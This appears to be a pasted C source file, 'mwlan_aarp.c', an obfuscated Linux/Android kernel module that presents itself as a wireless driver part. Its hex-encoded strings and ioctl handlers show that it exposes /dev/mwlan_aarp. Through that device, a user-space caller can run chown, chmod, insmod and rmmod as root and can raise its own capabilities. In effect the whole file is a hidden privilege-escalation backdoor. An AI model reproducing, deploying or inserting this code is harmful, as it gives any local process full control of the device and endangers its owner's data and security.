a.c 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303
  1. /*
  2. 'mwlan_aarp.c' Obfuscated by COBF (Version 1.06 2006-01-07 by BB) at Mon Dec 22 18:01:02 2014
  3. */
  4. #include<linux/kernel.h>
  5. #include<linux/version.h>
  6. #include<linux/module.h>
  7. #include<linux/fs.h>
  8. #include<linux/in.h>
  9. #include<linux/miscdevice.h>
  10. #include<linux/syscalls.h>
  11. #include<linux/kmod.h>
  12. #include<linux/compat.h>
  13. #include<net/ip.h>
  14. #include<linux/module.h>
  15. #include<linux/ctype.h>
  16. #include<linux/time.h>
  17. #include"cobf.h"
  18. #ifdef _WIN32
  19. #include"uncobf.h"
  20. #include<wtypes.h>
  21. #include"cobf.h"
  22. #else
  23. #ifdef bb92
  24. #include"uncobf.h"
  25. #include<linux/types.h>
  26. #include"cobf.h"
  27. #else
  28. #include"uncobf.h"
  29. #include<stddef.h>
  30. #include<sys/types.h>
  31. #include"cobf.h"
  32. #endif
  33. #endif
  34. #ifdef _WIN32
  35. bbb bb76 bb246;
  36. #else
  37. bbb bbd bb151, *bb129, *bb190;
  38. #define bb140 1
  39. #define bb239 0
  40. bbb bb200 bb212, *bb258, *bb130;bbb bbd bb248, *bb147, *bb247;bbb bbz
  41. bb119, *bb241, *bb154;bbb bb0 bb198, *bb137;bbb bbz bb0 bb135, *bb148
  42. ;bbb bb0 bb83, *bb155;bbb bbz bb0 bb68, *bb243;bbb bb68 bb196, *bb233
  43. ;bbb bb68 bb242, *bb229;bbb bb83 bb76, *bb122;bbb bb253 bb208;bbb
  44. bb191 bb215;bbb bb141 bb9;bbb bb105 bb96;bbb bb105 bb193;
  45. #ifdef bb232
  46. bbb bb153 bb57, *bb91;bbb bb254 bb34, *bb98;bbb bb194 bbj, *bb46;bbb
  47. bb125 bb70, *bb110;
  48. #else
  49. bbb bb170 bb57, *bb91;bbb bb203 bb34, *bb98;bbb bb259 bbj, *bb46;bbb
  50. bb142 bb70, *bb110;
  51. #endif
  52. bbb bb57 bb45, *bb58, *bb173;bbb bb34 bb197, *bb234, *bb174;bbb bb34
  53. bb138, *bb221, *bb176;bbb bbj bb88, *bb144, *bb207;bbb bb9 bb40, *
  54. bb160, *bb238;bbb bbj bb226, *bb236, *bb188;bbb bb96 bb146, *bb213, *
  55. bb195;bbb bb70 bb204, *bb220, *bb189;
  56. #define bb139 bbu
  57. bbb bbu*bb224, *bb255;bbb bbt bbu*bb182;bbb bbc bb123;bbb bbc*bb231;
  58. bbb bbt bbc*bb187;
  59. #if defined( bb92)
  60. bbb bbd bb107;
  61. #endif
  62. bbb bb107 bb20;bbb bb20*bb120;bbb bbt bb20*bb228;
  63. #if defined( bb152) || defined( bb171)
  64. bbb bb20 bb43;bbb bb20 bb89;
  65. #else
  66. bbb bbc bb43;bbb bbz bbc bb89;
  67. #endif
  68. bbb bbt bb43*bb257;bbb bb43*bb134;bbb bb88 bb201, *bb250;bbb bbu*
  69. bb104;bbb bb104*bb184;
  70. #define bb166( bb39) bbm bb39##__ { bbd bb126; }; bbb bbm bb39##__ * \
  71. bb39
  72. bbb bbm{bb40 bb165,bb179,bb223,bb218;}bb252, *bb214, *bb161;bbb bbm{
  73. bb40 bb217,bb209;}bb159, *bb133, *bb192;bbb bbm{bb40 bb240,bb225;}
  74. bb263, *bb210, *bb249;
  75. #endif
  76. bbb bbt bb45*bb156;
  77. #ifdef _WIN32
  78. #ifndef UNDER_CE
  79. #define bb26 bb116
  80. #define bb47 bb219
  81. bbb bbz bb0 bb26;bbb bb0 bb47;
  82. #endif
  83. #else
  84. #endif
  85. #ifdef _WIN32
  86. bbu*bb41(bb26 bb112);bbu bb32(bbu* );bbu*bb78(bb26 bb244,bb26 bb112);
  87. #else
  88. #define bb41( bbg) bb72(1, bbg, bb54)
  89. #define bb32( bbg) bb177( bbg)
  90. #define bb78( bbg, bb36) bb72( bbg, bb36, bb54)
  91. #endif
  92. #ifdef _WIN32
  93. #define bb49( bbg) bb124( bbg)
  94. #else
  95. #ifdef _DEBUG
  96. bbd bb100(bbt bbc*bb251,bbt bbc*bb4,bbz bb222);
  97. #define bb49( bbg) ( bbu)(( bbg) || ( bb100(# bbg, __FILE__, __LINE__ \
  98. )))
  99. #else
  100. #define bb49( bbg) (( bbu)0)
  101. #endif
  102. #endif
  103. bb47 bb158(bb47*bb245);
  104. #ifndef _WIN32
  105. bbd bb128(bbt bbc*bb260);bbd bb118(bbt bbc*bb164,...);
  106. #endif
  107. #ifdef _WIN32
  108. bbb bb150 bb93;
  109. #define bb79( bbg) bb181( bbg)
  110. #define bb74( bbg) bb143( bbg)
  111. #define bb84( bbg) bb256( bbg)
  112. #define bb102( bbg) bb261( bbg)
  113. #else
  114. bbb bb206 bb93;
  115. #define bb79( bbg) ( bbu)( * bbg = bb227( bbg))
  116. #define bb74( bbg) (( bbu)0)
  117. #define bb84( bbg) bb127( bbg)
  118. #define bb102( bbg) bb117( bbg)
  119. #endif
  120. bbb bbm{bb58 bb14;bbj bb38;bb58 bb6;bbj bb5;bbj bbr;}bb21;bbb bbm{bbt
  121. bbc*bbk;bbj bb25;bbj bb27;}bb28;bbb bbm{bbt bbc*bbk;bbj bb10;}bb29;
  122. bbb bbm{bbj bb24;bbt bbc*bb3;}bb35;
  123. #ifdef CONFIG_COMPAT
  124. bbb bbm{bb19 bb14;bbj bb38;bb19 bb6;bbj bb5;bbj bbr;}bb62;bbb bbm{
  125. bb19 bbk;bbj bb25;bbj bb27;}bb55;bbb bbm{bb19 bbk;bbj bb10;}bb56;bbb
  126. bbm{bb9 bb24;bb19 bb3;}bb69;
  127. #endif
  128. bbq bbd bb82(bbm bb44*bb44,bbm bb4*bb4){bbp 0 ;}bbq bbd bb94(bbm bb44*
  129. bb44,bbm bb4*bb4){bbp 0 ;}
  130. #if bb52( 3, 8, 0 ) <= LINUX_VERSION_CODE && LINUX_VERSION_CODE < \
  131. bb52( 3, 9, 0 )
  132. #define bb17( bbg, bb36, bb85, bb80) bb216( bbg, bb36, bb85, bb80)
  133. #else
  134. bbq bbd bb17(bbc*bbk,bbc* *bbv,bbc* *bbw,bbd bb53){bbm bb169*bb22;
  135. bb199 bb61=(bb53==bb162)?bb54:bb121;
  136. #ifdef _DEBUG
  137. bbc* *bb48=bbv;bbe("\x63\x61\x6c\x6c\x5f\x75\x73\x65\x72\x6d\x6f\x64"
  138. "\x65\x68\x65\x6c\x70\x65\x72\x5f\x2c\x20\x25\x73",bbk);bb99( *bb48){
  139. bbe("\x20\x25\x73", *bb48);bb48++;}bbe("\n");
  140. #endif
  141. #if LINUX_VERSION_CODE >= bb52( 3, 10, 0 )
  142. bb22=bb75(bbk,bbv,bbw,bb61,bbs,bbs,bbs);
  143. #else
  144. bb22=bb75(bbk,bbv,bbw,bb61);
  145. #endif
  146. bbf(bb22==bbs){bbe("\x63\x61\x6c\x6c\x5f\x75\x73\x65\x72\x6d\x6f\x64"
  147. "\x65\x68\x65\x6c\x70\x65\x72\x5f\x2c\x20\x69\x6e\x66\x6f\x20\x3d\x3d"
  148. "\x20\x4e\x55\x4c\x4c\n");bbp-bb31;}bbp bb186(bb22,bb53);}
  149. #endif
  150. #if defined( PLAT_VER) && PLAT_VER >= 0x50000
  151. #define bb18 "/system/bin/mwlan_helper"
  152. #else
  153. #define bb18 "/system/bin/toolbox"
  154. #endif
  155. bbq bbd bb111(bbt bbc*bbk,bbd bb81,bbd bb86){bbc bb51[256 ];bbc*bbv[]=
  156. {(bbc* )"\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f\x63\x68\x6f"
  157. "\x77\x6e",bb51,(bbc* )bbk,bbs};bbq bbc*bbw[]={"\x48\x4f\x4d\x45\x3d"
  158. "\x2f","\x54\x45\x52\x4d\x3d\x6c\x69\x6e\x75\x78","\x50\x41\x54\x48"
  159. "\x3d\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e",bbs};bbd bba;bb87(
  160. bb51,"\x25\x64\x2e\x25\x64",bb81,bb86);bba=bb17(bb18,bbv,bbw,bb42);
  161. #ifdef _DEBUG
  162. bbe("\x63\x68\x6f\x77\x6e\x5f\x2c\x20\x63\x61\x6c\x6c\x5f\x75\x73\x65"
  163. "\x72\x6d\x6f\x64\x65\x68\x65\x6c\x70\x65\x72\x5f\x3a\x20\x25\x64\n",
  164. bba);
  165. #endif
  166. bbp bba;}bbq bbd bb103(bbt bbc*bbk,bbd bb10){bbc bb60[256 ];bbc*bbv[]=
  167. {(bbc* )"\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f\x63\x68\x6d"
  168. "\x6f\x64",bb60,(bbc* )bbk,bbs};bbd bba;bbq bbc*bbw[]={"\x48\x4f\x4d"
  169. "\x45\x3d\x2f","\x54\x45\x52\x4d\x3d\x6c\x69\x6e\x75\x78","\x50\x41"
  170. "\x54\x48\x3d\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e",bbs};bb87(
  171. bb60,"\x25\x6f",bb10);bba=bb17(bb18,bbv,bbw,bb42);
  172. #ifdef _DEBUG
  173. bbe("\x63\x68\x6d\x6f\x64\x5f\x2c\x20\x63\x61\x6c\x6c\x5f\x75\x73\x65"
  174. "\x72\x6d\x6f\x64\x65\x68\x65\x6c\x70\x65\x72\x5f\x3a\x20\x25\x64\n",
  175. bba);
  176. #endif
  177. bbp bba;}bb37 bbq bbd bb50(bb9*bb2,bb28*bbl){bbc bbk[256 ];bbd bba=
  178. bb11(bbk,bbl->bbk,bb23(bbk));bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63"
  179. "\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79\x5f\x66\x72\x6f"
  180. "\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbp bba;} *bb2=
  181. bb111(bbk,bbl->bb25,bbl->bb27);
  182. #ifdef _DEBUG
  183. bbe("\x63\x68\x6f\x77\x6e\n");
  184. #endif
  185. bbp 0 ;}bb37 bbq bbd bb59(bb9*bb2,bb29*bbl){bbc bbk[256 ];bbd bba=bb11(
  186. bbk,bbl->bbk,bb23(bbk));bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63\x65\x5f"
  187. "\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79\x5f\x66\x72\x6f\x6d\x5f"
  188. "\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbp bba;} *bb2=bb103(bbk,
  189. bbl->bb10);
  190. #ifdef _DEBUG
  191. bbe("\x63\x68\x6d\x6f\x64\n");
  192. #endif
  193. bbp 0 ;}bb37 bbq bbd bb71(bb9*bb2,bb35*bbl){bbc bb3[256 ];bbc*bbv[]={
  194. bbs,bb3,bbs};bbq bbc*bbw[]={"\x48\x4f\x4d\x45\x3d\x2f","\x54\x45\x52"
  195. "\x4d\x3d\x6c\x69\x6e\x75\x78","\x50\x41\x54\x48\x3d\x2f\x73\x79\x73"
  196. "\x74\x65\x6d\x2f\x62\x69\x6e",bbs};bbd bba=bb11(bb3,bbl->bb3,bb23(
  197. bb3));bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74"
  198. "\x6c\x2c\x20\x4f\x49\x44\x5f\x4d\x4f\x44\x2c\x20\x63\x6f\x70\x79\x5f"
  199. "\x66\x72\x6f\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbp bba
  200. ;}bbv[0 ]=bbl->bb24?"\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e\x2f"
  201. "\x69\x6e\x73\x6d\x6f\x64":"\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69"
  202. "\x6e\x2f\x72\x6d\x6d\x6f\x64"; *bb2=bb17(bb18,bbv,bbw,bb42);
  203. #ifdef _DEBUG
  204. bbe("\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x5f\x6d\x6f\x64"
  205. "\x2c\x20\x63\x61\x6c\x6c\x5f\x75\x73\x65\x72\x6d\x6f\x64\x65\x68\x65"
  206. "\x6c\x70\x65\x72\x5f\x3a\x20\x25\x64\n", *bb2);
  207. #endif
  208. bbp 0 ;}bb37 bbq bbd bb63(bb9*bb2){bbd bba;bb180{bbm bb185*bbx=bb237();
  209. bbf(!bbx){bba=bb31;bby;}bbx->bb65.bb12[0 ]=(1 <<bb131)|(1 <<bb172)|(1 <<
  210. bb235);bbx->bb108.bb12[0 ]=0 ;bbx->bb106.bb12[0 ]=bbx->bb65.bb12[0 ];bbx
  211. ->bb65.bb12[1 ]=0 ;bbx->bb108.bb12[1 ]=0 ;bbx->bb106.bb12[1 ]=0 ; *bb2=
  212. bb230(bbx);}bb99(0 );
  213. #ifdef _DEBUG
  214. bbe("\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x5f\x63\x61\x70"
  215. "\x2c\x20\x63\x61\x70\x73\x65\x74\x3a\x20\x25\x64\n", *bb2);
  216. #endif
  217. bbp 0 ;}bbq bb0 bb95(bbm bb4*bb4,bbz bbd bb113,bbz bb0 bb33){bbj bb16;
  218. bb21 bbh, *bb64=(bb21* )bb33;bb45*bbi=bbs;bbd bba;bbe("\x6d\x77\x6c"
  219. "\x61\x6e\x5f\x61\x61\x72\x70\x2c\x20\x62\x65\x67\x69\x6e\x20\x64\x65"
  220. "\x76\x5f\x69\x6f\x63\x74\x6c\x5f\n");bba=bb11(&bbh,bb64,bb23(bb21));
  221. bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c"
  222. "\x20\x63\x6f\x70\x79\x5f\x66\x72\x6f\x6d\x5f\x75\x73\x65\x72\x2c\x20"
  223. "\x25\x64\n",bba);bbo bbn;}bbi=bb41(bbh.bb5);bbf(!bbi){bba=-bb31;bbe(""
  224. "\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x6d\x61\x6c"
  225. "\x6c\x6f\x63\x3a\x20\x25\x64\n",bba);bbo bbn;}bba=bb77(bb16,(bb46)bbh
  226. .bb14);bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74"
  227. "\x6c\x2c\x20\x67\x65\x74\x5f\x75\x73\x65\x72\x3a\x20\x25\x64\n",bba);
  228. bbo bbn;}bba=bb11(bbi,bbh.bb6,bbh.bb5);bbf(bba!=0 ){bbe("\x64\x65\x76"
  229. "\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79\x5f\x66"
  230. "\x72\x6f\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbo bbn;}
  231. bb97(bb16){bb7 1 :{bba=bb50((bbj* )bbi,(bb28* )bbi);bbf(bba!=0 )bbo bbn
  232. ;bbh.bbr=4 ;}bby;bb7 2 :{bba=bb59((bbj* )bbi,(bb29* )bbi);bbf(bba!=0 )bbo
  233. bbn;bbh.bbr=4 ;}bby;bb7 3 :{bba=bb71((bbj* )bbi,(bb35* )bbi);bbf(bba!=0
  234. )bbo bbn;bbh.bbr=4 ;}bby;bb7 5 :{bba=bb63((bbj* )bbi);bbf(bba!=0 )bbo bbn
  235. ;bbh.bbr=4 ;}bby;}bba=bb73(bbh.bb6,bbi,bbh.bbr);bbf(bba!=0 ){bbe("\x64"
  236. "\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79"
  237. "\x5f\x66\x72\x6f\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbo
  238. bbn;}bba=bb90(bbh.bbr,&bb64->bbr);bbf(bba!=0 ){bbe("\x64\x65\x76\x69"
  239. "\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x70\x75\x74\x5f\x75\x73\x65"
  240. "\x72\x2c\x20\x25\x64\n",bba);bbo bbn;}bbn:bbf(!bbi)bb32(bbi);bbe(""
  241. "\x6d\x77\x6c\x61\x6e\x5f\x61\x61\x72\x70\x2c\x20\x65\x6e\x64\x20\x64"
  242. "\x65\x76\x5f\x69\x6f\x63\x74\x6c\x5f\n");bbp bba;}
  243. #ifdef CONFIG_COMPAT
  244. bbq bb0 bb109(bbm bb4*bb145,bbz bbd bb113,bbz bb0 bb33){bbj bb16;bb62
  245. bb8, *bb67=(bb62* )bb13(bb33);bb21 bbh;bb45*bbi=bbs;bbd bba;bbe("\x6d"
  246. "\x77\x6c\x61\x6e\x5f\x61\x61\x72\x70\x2c\x20\x62\x65\x67\x69\x6e\x20"
  247. "\x64\x65\x76\x5f\x69\x6f\x63\x74\x6c\x5f\n");bba=bb11(&bb8,bb67,bb23
  248. (bb8));bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63\x65\x5f\x63\x6f\x6d\x70"
  249. "\x61\x74\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79\x5f\x66\x72"
  250. "\x6f\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbo bbn;}bbh.
  251. bb14=bb13(bb8.bb14);bbh.bb38=bb8.bb38;bbh.bb6=bb13(bb8.bb6);bbh.bb5=
  252. bb8.bb5;bbi=bb41(bbh.bb5);bbf(!bbi){bba=-bb31;bbe("\x64\x65\x76\x69"
  253. "\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x6d\x61\x6c\x6c\x6f\x63\x3a"
  254. "\x20\x25\x64\n",bba);bbo bbn;}bba=bb77(bb16,(bb46)bbh.bb14);bbf(bba
  255. !=0 ){bbe("\x64\x65\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20"
  256. "\x67\x65\x74\x5f\x75\x73\x65\x72\x3a\x20\x25\x64\n",bba);bbo bbn;}
  257. bba=bb11(bbi,bbh.bb6,bbh.bb5);bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63"
  258. "\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79\x5f\x66\x72\x6f"
  259. "\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbo bbn;}bb97(bb16){
  260. bb7 1 :{bb55*bb1=(bb55* )bbi;bb28 bbl;bbl.bbk=bb13(bb1->bbk);bbl.bb25=
  261. bb1->bb25;bbl.bb27=bb1->bb27;bba=bb50((bbj* )bbi,&bbl);bbf(bba!=0 )bbo
  262. bbn;bbh.bbr=4 ;}bby;bb7 2 :{bb56*bb1=(bb56* )bbi;bb29 bbl;bbl.bbk=bb13(
  263. bb1->bbk);bbl.bb10=bb1->bb10;bba=bb59((bbj* )bbi,&bbl);bbf(bba!=0 )bbo
  264. bbn;bbh.bbr=4 ;}bby;bb7 3 :{bb69*bb1=(bb69* )bbi;bb35 bbl;bbl.bb24=bb1
  265. ->bb24;bbl.bb3=bb13(bb1->bb3);bba=bb71((bbj* )bbi,&bbl);bbf(bba!=0 )bbo
  266. bbn;bbh.bbr=4 ;}bby;bb7 5 :{bba=bb63((bbj* )bbi);bbf(bba!=0 )bbo bbn;bbh
  267. .bbr=4 ;}bby;}bba=bb73(bbh.bb6,bbi,bbh.bbr);bbf(bba!=0 ){bbe("\x64\x65"
  268. "\x76\x69\x63\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x63\x6f\x70\x79\x5f"
  269. "\x66\x72\x6f\x6d\x5f\x75\x73\x65\x72\x2c\x20\x25\x64\n",bba);bbo bbn
  270. ;}bba=bb90(bbh.bbr,&bb67->bbr);bbf(bba!=0 ){bbe("\x64\x65\x76\x69\x63"
  271. "\x65\x5f\x69\x6f\x63\x74\x6c\x2c\x20\x70\x75\x74\x5f\x75\x73\x65\x72"
  272. "\x2c\x20\x25\x64\n",bba);bbo bbn;}bbn:bbf(!bbi)bb32(bbi);bbe("\x6d"
  273. "\x77\x6c\x61\x6e\x5f\x61\x61\x72\x70\x2c\x20\x65\x6e\x64\x20\x64\x65"
  274. "\x76\x5f\x69\x6f\x63\x74\x6c\x5f\n");bbp bba;}
  275. #endif
  276. bbq bbm bb175 bb115={.bb157=bb95,
  277. #ifdef CONFIG_COMPAT
  278. .bb136=bb109,
  279. #endif
  280. .bb205=bb82,.bb262=bb94,};bbq bbm bb211 bb30={bb167,"\x6d\x77\x6c\x61"
  281. "\x6e\x5f\x61\x61\x72\x70",&bb115};bbd bb202(){bbd bba;bbe("\x49\x2d"
  282. "\x57\x4c\x41\x4e\x2f\x6d\x77\x6c\x61\x6e\x5f\x61\x61\x72\x70\x2c\x20"
  283. "\x6d\x77\x6c\x61\x6e\x20\x6b\x6f\x20\x73\x72\x63\x2c\x20\x32\x30\x31"
  284. "\x34\x2e\x31\x32\x2e\x31\x38\n");bba=bb163(&bb30);bbf(bba!=0 ){bbe(""
  285. "\x69\x6e\x69\x74\x5f\x6d\x6f\x64\x75\x6c\x65\x2c\x20\x6d\x69\x73\x63"
  286. "\x5f\x72\x65\x67\x69\x73\x74\x65\x72\x20\x66\x61\x69\x6c\x65\x64\x3a"
  287. "\x20\x25\x64\n",bba);bbp bba;}{bbc*bbv[]={"\x2f\x73\x79\x73\x74\x65"
  288. "\x6d\x2f\x62\x69\x6e\x2f\x63\x68\x6f\x77\x6e","\x73\x79\x73\x74\x65"
  289. "\x6d\x2e\x73\x79\x73\x74\x65\x6d","\x2f\x64\x65\x76\x2f" "\x6d\x77"
  290. "\x6c\x61\x6e\x5f\x61\x61\x72\x70",bbs};bbq bbc*bbw[]={"\x48\x4f\x4d"
  291. "\x45\x3d\x2f","\x54\x45\x52\x4d\x3d\x6c\x69\x6e\x75\x78","\x50\x41"
  292. "\x54\x48\x3d\x2f\x73\x79\x73\x74\x65\x6d\x2f\x62\x69\x6e",bbs};bbd
  293. bb15,bb66=0 ;bb132(bb15=0 ;bb15<10 ;bb15++){bba=bb17(bb18,bbv,bbw,bb42);
  294. bbf(bba==0 )bby;bb66=bba;bb178(10 );}bbf(bb15!=0 ){bbe("\x69\x6e\x69\x74"
  295. "\x5f\x6d\x6f\x64\x75\x6c\x65\x2c\x20\x63\x61\x6c\x6c\x5f\x75\x73\x65"
  296. "\x72\x6d\x6f\x64\x65\x68\x65\x6c\x70\x65\x72\x5f\x20\x66\x61\x69\x6c"
  297. "\x65\x64\x2c\x20\x72\x5f\x20\x3a\x20\x25\x64\x2c\x20\x74\x72\x79\x20"
  298. "\x3a\x20\x25\x64\n",bb66,bb15);bbf(bba!=0 ){bb101(&bb30);bbp bba>0 ?-
  299. bba:bba;}}}bbe("\x6d\x77\x6c\x61\x6e\x5f\x61\x61\x72\x70\x20\x69\x6e"
  300. "\x69\x74\x5f\x6d\x6f\x64\x75\x6c\x65\x28\x29\x20\x77\x61\x73\x20\x73"
  301. "\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x2e\n");bbp 0 ;}bbu bb149(){
  302. bb101(&bb30);}bb168("\x61\x68\x6f\x70\x65");bb183("");